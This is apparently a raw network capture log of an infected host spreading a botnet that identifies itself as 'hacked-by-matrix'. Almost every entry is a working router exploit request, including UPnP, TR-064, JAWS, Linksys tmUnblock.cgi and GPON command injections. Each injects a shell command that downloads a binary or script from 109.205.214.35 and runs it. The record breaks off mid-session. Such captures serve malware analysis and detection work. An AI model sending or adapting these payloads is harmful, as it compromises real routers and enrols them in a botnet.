Mar 21, 2024 05:23:18.193340063 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:36.876255035 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.13	58922	109.36.221.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.125936031 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.716242075 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:01.900233030 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.13	40354	175.202.210.46	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.130698919 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:01.017724037 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:01.900242090 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.13	38092	75.84.243.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.194263935 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.13	53636	113.29.211.72	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.227029085 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.573195934 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:00 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.13	50694	176.214.117.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.289377928 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.510723114 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:22:59 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.13	60158	46.9.247.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.685035944 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:02.064232111 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:04.881330967 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.13	43740	185.221.98.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:01.521192074 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.13	51026	42.188.34.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.667567968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.13	38300	109.89.70.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.667599916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.13	35046	5.185.242.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668020010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.13	40272	109.183.133.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668028116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.13	50652	42.23.113.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668028116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.13	41452	109.213.116.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668059111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.13	38220	212.7.237.21	443

Timestamp	Bytes transferred	Direction	Data
